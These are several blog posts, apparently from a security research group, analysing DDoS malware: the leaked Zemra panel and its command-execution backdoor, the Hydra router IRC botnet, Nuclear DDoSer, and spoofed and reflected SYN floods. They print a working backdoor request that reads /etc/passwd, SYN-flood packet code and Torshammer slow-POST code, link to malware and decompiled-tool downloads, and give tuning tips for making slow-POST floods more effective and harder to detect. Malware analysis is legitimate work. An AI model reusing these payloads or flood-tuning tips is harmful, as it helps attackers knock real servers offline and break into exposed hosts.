Zemra DDoS Bot: Backdoors in your Backdoors!

So, ailment today I grabbed a sample of the leaked “Zemra” botnet source code, and quickly did a “10 second analysis” of the webpanels source code. I often do this to see can I locate any “GLARING SECURITY FLAWS” in the C&C. I am also working on finding a google-dork to find Zemra installations.

For information about Zemra the following links are useful :)
http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot

http://threatpost.com/en_us/blogs/new-crimeware-bot-zemra-behind-ddos-attacks-062712

http://thehackernews.com/2012/06/zemra-botnet-leaked-cyber-criminals.html
http://news.softpedia.com/news/Zemra-DDOS-Crimeware-Kit-Used-to-Extort-Organizations-278041.shtml

So. This was on sale in various places online (Russian forums apparently), here however I suspect (based on the backdoor and the fact it is written in C#) that is is German in origin. Some of the stuff in there seems to be German also, illness so I assume it is another product of the German Skid Scene. Basically “Rippers Inc”. LAME!

Anyway, I was looking at the webpanels source (I will eventually rip the bots source apart) and noticed that gate.php has some lulzy SQLi (possibly).

Far more interesting was the backdoor. Located at /Zemra/Panel/Zemra/system/command.php, it is your basic “BACKDOOR”. It takes the GET parameter “cmd” and executes it.

Example: localhost/Zemra/Panel/Zemra/system/command.php?cmd=cat /etc/passwd

I will be researching this in greater depth… Sometime in the near-ish future. But as always, there be backdoors in your backdoors!

Finally: Zemra.rar file is here: Zemra

Web Malware Collection – Massive Change

Insecurety Research has mantained a repository of web malware over at Google Code for a considerable amount of time, pharm so independant researchers could get samples for analysis.

We always offered it as a SVN repo, where anyone could anonymously check out the whole collection, troche or selected samples, at will.

Those days, sadly, have come to an end.

Due to a researcher from nerv.fi creating an issue about it – see here – we ended up deciding to come to a compromise, sale lest we get suspended or something.

We now offer the entire repository as an archive downloadable here instead of a SVN repository, and every time we get 50 new samples in the bag, we will update the tar file.

Simply wget http://web-malware-collection.googlecode.com/files/web-malware-collection-13-06-2012.tar.gz to get the current one. We will post every time we release a new one.

This project has been one of our proudest achievements, and we are very sorry to see it crippled in this way, however as we all know, we must adapt in order to survive. While Henri has a legitimate complaint, we believe that these samples STILL belong to the public.

Human knowledge belongs to the world, after all, and information ALWAYS wants to be free.

Hydra IRC bot, the 25 minute overview of the kit.

Hydra IRC bot, the 25 minute overview of the kit. (25 minutes to write and “do”, not to read!)

The Hydra IRC botnet kit is a very interesting sample that we have in our collection. It is, essentially, “RX-Bot for Routers”. By this, we mean it is an extensible, well documented (in the source), open source botnet framework which is freely available for anyone to download. The problem, of course, is locating a copy.

Unlike other IRC bots targetting the “Linux” platform, for example, the “Kaiten” series of bots written in C, or the “ShellBot” series of bots written in various scripting languages, the Hydra is a more carefully developed framework, and by design is far more extensible than the others.

While the Kaiten family offer potent DDoS capabilities, they totally lack spreading tools – in order to “spread” a Kaiten effectively, you would have to root Linux servers en-masse. The Hydra, has built in worm-like capabilities, allowing it to automatically seek out and infect new victims.

The shellbots DO spread, and may even infect other platforms/architectures (being written in scripting languages means they will run on anything that has an interpreter), however their DDoS capabilities are weak, and they tend to be rather “hacky” programs.

Furthermore, while the Kaiten bots are almost limited to the x86-Linux platform (they stubbornly refuse to compile on much else), the Hydra series is designed to run on damn near anything – in particular, MIPSEL routers.

Most interesting of all, however, is the fact that the development of these elegant pieces of malware has not progressed much. Wheras the Kaiten and Shellbot are constantly being remade, the Hydra, being a far more impressive – and complex – piece of code, is pretty much ignored by your contemporary developer of Unix malware. This is unusual, as its counterpart on Windows – RXbot, was developed almost religiously.

Anyways, on we go. Lets crack open the archive and see what is inside!

Contents of the Archive:
infodox@shinigami:~/router/hydra$ ls -R
.:
ChangeLog – Changelog for this version.
include – Directory of header files.
Makefile – Makefile.
README – Readme.
source – Main source code files.

./include:
hydra_conf.h – Bot configuration header file.
hydra_irc.h – IRC header file.
hydra_mesg.h – Messages it prints to channel for various purposes.
hydra_scan.h – Variables used in vulnerability scanning/exploitation.
hydra_utils.h – Currently just a variable to assign to process ID for daemonizing.
hydra_hds.h – File containing list of header files.
hydra_main.h – Just some variables.
hydra_reqs.h – More variables, version number, etc.
hydra_synf.h – Headers/Variables for SYN Flooding.

./source:
hydra_irc.c – IRC handling code.
hydra_reqs.c – Command parsing code apparently.
hydra_synf.c – SYN Flooding/DDoS Functions.
hydra_main.c – main() function.
hydra_scan.c – Scanning functions for owning routers.
hydra_utils.c – Functions used for daemonizing, host2ip, etc. “Utilities”.

As you can see, it is a fairly well-crafted piece of software, in that the developers did not try jam everything in one source file, like the developers of Kaiten and the ShellBots do. Instead, everything is split up rather neatly. This would make future development FAR easier than hacking on one file!

So, lets take a look at what version we got, and its changelog!

– Begin Changelog –

Hydra 2008.1 stable (released 2008-02-23)

* added input line parser.
* added irc connection random ident string.
* added source address synflood spoofing.
* added daemonize manage function for quiet debug
* fixed ‘upgrade’ same file replace bug.
* fixed serveral error messages.
* removed an command ‘reclst’ for unutility.
* source code completly rewrite.

– End Changelog –

So, it would seem that this was the “first release of 2008”. And the changelog itself makes me think the developer was doing some serious work on it – rewriting the source code completely, fixing bugs, removing useless functions and commands… It makes me wonder were there previous variants that I have simply not obtained yet.

Onward we go to the Makefile, and for brevity I only include the relevant snippet here – the rest is pretty much “normal”.

– Begin Makefile Snippet –

CFLAGS=
x86_CC=/usr/bin/gcc
MIPSEL_CC=/opt/hardhat/previewkit/mips/mipsel-linux-uclibc/bin/mipsel-uclibc-gcc
x86_VERS=hydra_x86_bin_2008.1
MIPSEL_VERS=hydra_mipsel_bin_2008.1

– End Makefile Snippet –

So, we can clearly see, this version supports the MIPSEL and x86 architectures, and I do wonder who “hardhat” is… Don’t you?

The fact the author wrote a somewhat decent makefile suggests either an IDE of some kind that auto-generates them for you, or, a somewhat competent author. Having had difficulty getting ANYTHING to run on MIPSEL routers in the past, I will go with “competent”.

Lets take a look at the readme, see if we can gather more data! As @TheResGroup says, “we love data”.

First off, the author is not a native English speaker. Second, his email is proudly on display as “esaltato@autistici.org”. I checked autistici.org, it seems to be some kind of Privacy collective, similar to Riseup.net (who, by the way, are AWESOME). It also makes me think of Italy, and there is more evidence for this later on when we see the predefined C&C server.

In the readme, he describes his program in the following manner:
“Hydra is a mass-tool commanded by irc that allows scanners and exploited dlink router for make BOTNET (rx-bot style), in addition to this, with void you can attack with tcp/udp flood.”
Ok, so we know his intention – an RX Bot style bot for routers, in particular, D-Link routers. Now, unless I am terribly mistaken, the D-Link routers run DD-WRT of some kind, which is basically MIPSEL Linux. Which is why this bot works so damn well.

The interesting thing is, he does NOT give a command list in the readme! So the user could setup their botnet, then realize they have NO clue how to use it!

So, lets go find the commands, and figure out what they do!

By opening source/hydra_main.c we get the following:

– Begin Hydra Command List –

* *** Access Commands:
*
* .login <password> – login to bot’s party-line
* .logout – logout from bot’s party-line
*
* *** Misc Commands
*
* .upgrade <url> <binary_name> – upgrade binary from http url
* .version – show the current version of bot
* .status – show the status of bot
* .help – show this help message
*
* *** Scan Commands
*
* .scan <a> <b> <user> <passwd> – scanner/exploit with user:passwd
* .advscan <a> <b> – scanner/exploit with auto user:passwd
* .recursive – scanner/exploit with localip scan
* .recrd – advscan with local addr (B-range random)
* .stop – stop all actions (scan/flood)
*
* *** DDOS Commands:
*
* .synflood <host> <port> <secs> – standard synflooder
*
* *** IRC Commands:
*
* .join <channel> <password> – join bot in selected room
* .part <channel> – part bot from selected room
* .quit – kill the current process
*

– End Hydra Command List –

So. While the README tells us we have both UDP/SYN flooding, the commands only offer SYN. Which makes me assume we are missing some commands! Having poked through the source, the UDP flooding functionality is simply not there, so I assume it is not implemented in this version.

Now that we have an overview of the bots capabilities, let’s take a look at the DDoS code in it, before I wrap this post up. Please note – this post is essentially a “teaser” of a paper me and a fellow researcher are writing on this kind of malware, and trust me – that paper is gonna be badass.

– Begin TCP Packet Creation Snippet – source/hydra_synf.c –

/* form tcp packet */
send_tcp.tcp.source = getpid();
send_tcp.tcp.dest = htons(dest_port);
send_tcp.tcp.seq = getpid();
send_tcp.tcp.ack_seq = 0;
send_tcp.tcp.res1 = 0;
send_tcp.tcp.doff = 5;
send_tcp.tcp.fin = 0;
send_tcp.tcp.syn = 1;
send_tcp.tcp.rst = 0;
send_tcp.tcp.psh = 0;
send_tcp.tcp.ack = 0;
send_tcp.tcp.urg = 0;
send_tcp.tcp.window = htons(512);
send_tcp.tcp.check = 0;
send_tcp.tcp.urg_ptr = 0;

– End TCP Packet Creation Snippet – source/hydra_synf.c –

As we can see, it is sending a SYN packet, with a window size of 512, to a specified port. It uses its PID as the sequence number and has an offset of 5. Surely a detection could be written, but I am sure it would be littered with false positives.

Now, I am not an expert, but the following snippet makes me think maybe it is threading the function to run 50 times – I do not see any calls to fork(), but it seems to have a loop here that increments a counter (vt) every time a thread runs.

– Begin Threading Snippet –

if (vt >= 50)
{
if (time(NULL) >= start + ntime)
{
arg_send(sp->s_fd, end_synflood, irc_room);
max_pids–;

exit(0);
}

vt = true;
}

vt++;
}

– End Threading Snippet –

It would appear that this snippet runs a counter, which SYN floods with 50 threads for X time, and alerts the IRC room when it is done. Fairly standard fare for an IRC bot, however most thread numbers I see are 64/128/256 in other bots/DDoS tools. Likely they use less threads due to the limited CPU capabilities of embedded devices, or, maybe the programmer just wanted to use 50 threads…

This concludes my “brief writeup” on the Hydra, and in an upcoming paper I will be covering it in more depth – including its propagation mechanisms and other interesting things that we find, including the hardcoded C&C, configuration settings, and such.

Hope you enjoyed :)

More Decompile – Nuclear DDoSer

Seeing as it is the weekend, and I had promised this, here goes nothing… Yesterday you saw my decompile of the lame HTTP Flooder – see HERE – and today, I have decompiled Nuclear DDoSer.

I previously wrote about “Nuclear DDoSer” HERE , comparing it to the SlowLoris and Slowpost tools.

This thing, as a point of interest, operates in a similar way to how I theorize “XerXes” works, and with some modification and improvement could actually do a considerable amount of damage.

SO I will not be bothering making those improvements.

Go get it here…
http://insecurety.net/Downloads/NUCLEAR_DOS_DECOMPILE.tar.gz

MD5: c8248c60b438fe544c7dfdd847f53692
SHA1: c3757099dead3a3f7656c33a49072a8126174929

AS always, we decompile and release this stuff so you don’t have to, for purely educational purposes, and to satisfy our sense of schadenfreud toward the skidiots out there. “We do not like them very much”.

Reflected SYN Floods

Spoofed SYN Flooding – A closer look at Amplification and Reflection.

In the First Part of this series on Denial of Service attacks, I explained how Spoofed SYN Floods worked. I also briefly mentioned in the SYN flood part, how the server replies with *more* data than you sent it.

In most cases anyway, this is true. If I send ONE SYN packet to a server, it normally sends 5-7 SYN-ACK packets back at me, just in case some get lost along the way.

So, for every packet I send, I get several packets back… Bear this in mind as we continue.

The Spoofed SYN flood script shown, spoofs its SOURCE IP as that of a random host. So our victim will be sending this random host a SYN-ACK packet, that the random host never knew was coming. In fact, it will be sending it *several* SYN-ACK packets…
So what does the random-host do about this?

Well, if you receive an erroneous SYN-ACK packet that you never requested, you simply reply with an RST, or RESET packet. This is the cyber-equivalent of “Bugger off”. And you don’t just send one either… You send between five and seven of them…
Now before you start thinking you could kick off some kind of endless loop here, no. If you get a RST you do not reply. Simple as that.

So, are we getting the picture here? We can have an amplification factor of (theoretically) between 25 and 49 times the amount of packets we are flooding with. IN THEORY. Accounting for massive packet losses that tend to happen in flood conditions, we are looking at a more modest 5-6 times amplification… Which is still not bad! Not bad at all! We MAY even get a 10x amplification if we are very lucky…

So, that simple Spoofed SYN Flood script I posted… A lot more lethal now, no?

AS an aside, What if you never bother sending packets to the victim host at all? What if you spoof yourself AS the victim, and spam the entire internet? This is going to give you a 3-4 times amplification, and is the implementation most spoofed-syn-flood users use. I have NO idea why, as it is less efficient. However, it does bypass rate limiting,, so it has its place. I will post up some example code that does this next time I find it…

References/fact checking:
RFC 793
RFC 4987
CERT Advisory 1996-21
Arbor Networks

Denial of Service: An investigation into “Nuclear DDoSer”

Introduction:
Ok, so I was trawling through the junk I planned on looking into during my research into “XerXes”, and had been looking at some of the HTTP flooders skids today use. Then I stumbled across this gem…

“Nuclear DDoSer”. Wow. Scrubs today cannot even discern between DoS and DDoS… BOOORING!

But wait! This one does a lot more than you think! It implements the fast-flux SOCKS/Proxy technique I spoke about (the same one XerXes uses), uses HTTP POST and HTTP GET flooding (perhaps even Slowloris/Slowpost?), and even sorts the proxies for you?

Those are things I was going to implement in “RailGun”, before I suspended the project for various reasons!

So, lets take a look.

The Nuclear DoS tool

Nuclear DoS - Proxy Menu

The attack menu of Nuclear DoS

So, I notice it has a lot of configurable options – which I plan to eventually investigate, but for now I am more interested in what kind of “junk” it is sending…

Experimentation – The “SlowLoris”

So I started an apache server on localhost, ran Wireshark, and ran the “get flooder”. As my current OS is BackTrack 5, bt.foo.org points towards 127.0.0.1.

This is what all the HTTP requests looked like…

GET /
Host: bt.foo.org
User-Agent:  Mozilla/5.0 (Windows; U;Windows  NT 6.1;fr; rv: 1.9.2) Gecko/201 00115 Firefox/3.6
Accept: text/ html,application /xhtml+xml,application/xml;q=0.9 ,*/*;q=0.8
Accept-Language: en, en-us;q=0.8,en-u s;q=0.5,en;q=0.3
Accept-Charset : ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

So, not 100% sure of myself, I ran SlowLoris against myself… Here be the output of the Wireshark…

GET /
Host: bt.foo.o rg
User-Agent:  Mozilla/5.0 (Win dows; U;Windows  NT 6.1;fr; rv: 1.9.2) Gecko/201 00115 Firefox/3.6
Accept: text/ html,application /xhtml+xml,application/xml;q=0.9 ,*/*;q=0.8
Accept-Language: en, en-us;q=0.8,en-u s;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf -8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive

Well shit! Here we have a gods-honest, multithreaded, multi proxy, .net version of Slowloris! For once, I actually was surprised. Skidiots NEVER write anything properly!
Add in a bit of user-agent spoofing (both the slowloris.pl I have, the latest, and the “Nuclear DDoSer” seem to use a static UA, though I didn’t investigate too much), and this could be pretty fascinating.

Might I add, when either of them were ran, the server stopped replying to anything, pretty hilarious IMHO…

Experimentation! The “Slow Post”

Now to investigate the “Slow Post” it claims to have… Apache back up? Check… Ok, lets go!

Here are the headers/requests the skidware outputs…

POST /
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,  application/x-shockwave-flash, application/x-ms- application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language:  en
User-Agent:  Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5 .21022; .NET CLR  3.0.4506.2152;  .NET CLR 3.5.307 29)
Content-length: 20
Host: bt.foo.org
Connection: Keep-Alive
data=nuclear ddosser

Ok. Now again, it needs some user agent spoofing, and I do not quite understand the huge UserAgent it uses, though I assume it is a copy paste, or perhaps the author hoped a bigger user agent meant a better flood. The other MASSIVE PROBLEM is the EASILY FINGERPRINTED “data=nuclear ddoser”. A better implementation would have a random crap generator, and calculate content length on the fly, changing every “n” packets/requests sent.

BUG: Should specify Keep Alive value equal to or less than 120 but no less than 80.

Let’s see what the Python variant, “torshammer” (a VERY efficient tool if you tweak it a little) looks like…

POST /  HTTP/1.1
Host:  bt.foo.org
User-Agent: Mozilla /4.0 (compatible ; MSIE 7.0; Windows NT 5.1; Trident/4.0;FDM; .NET CLR 2.0.50727 ; InfoPath.2; .NET CLR 1.1.4322)
Connection: keep-alive
Keep-Alive: 900
Content-Length: 10000
Content-Type:  application/x-ww w-form-urlencoded

There is a lot of junk sent after this request, and this is what the request (in the Python script) looks like…

self.socks.send(“POST / HTTP/1.1\r\n”
“Host: %s\r\n”
“User-Agent: %s\r\n”
“Connection: keep-alive\r\n”
“Keep-Alive: 900\r\n”
“Content-Length: 10000\r\n”
“Content-Type: application/x-www-form-urlencoded\r\n\r\n” %
(self.host, random.choice(useragents))

Now, one MASSIVE failing there is in the Keep-Alive value. The author of Torshammer chose “900”. Actually, to be fair, he just optimized the PoC I released back in my evil blackhat days, and I had left it at 900 as an anti skiddo trick. The real value to choose is between 80 and 120. With these smaller values the box ACTUALLY WAITS, instead of giving error 400 all the time. This is one of those edits to make ;)

I also like his randomization of user agents, it is pretty win. And the POST junk it sends is as follows…

p = random.choice(string.letters+string.digits)
print term.BOL+term.UP+term.CLEAR_EOL+”Posting: %s” % p+term.NORMAL
self.socks.send(p)

See this? He generates random junk strings to POST to the target server, FAR harder to fingerprint! Of course, the best implementations would not just limit to letters and numbers, all kinds of characters are fine too :D

Conclusion:
This particular “Skid Ware” actually DOES what it is meant to do, surprisingly enough. The main problem is that it does have a tendency to crash every so often (what do you expect? It is .net!), and, uh, its closed source.
But not for long!
Once I get a Windows box, or even a box capable of running a virtual machine of Windows (I had it running under Mono), I plan to reverse engineer it… Which will be hilarious! When I get around to doing that I will release the binary and source-code of this application.

If you are interested in the other applications used, the “SlowLoris”, and “Tors Hammer” programs, please check the following links:
SlowLoris
Torshammer

References:
OWASP – Layer 7 DDoS
OWASP HTTP POST DoS Tool
Arbor Networks
RSnake – Slowloris
Myself…

Bootnote: “NewEraCracker”, the author of LOIC, has written a PHP script (designed to be ran from the PHP command line, like “php -f SlowPOST.php”) which seems to implement the HTTP Slow Post attack fairly well.
You can see on line 201 that he has even paid attention to detail on how it works!
$out .= “Keep-Alive: “.mt_rand(60,120).”\r\n”;
Link: NewEraCracker’s SlowPost Tool

I guess he finally listened to all the bitching the more clever “Anons” were doing about needing replacements for LOIC…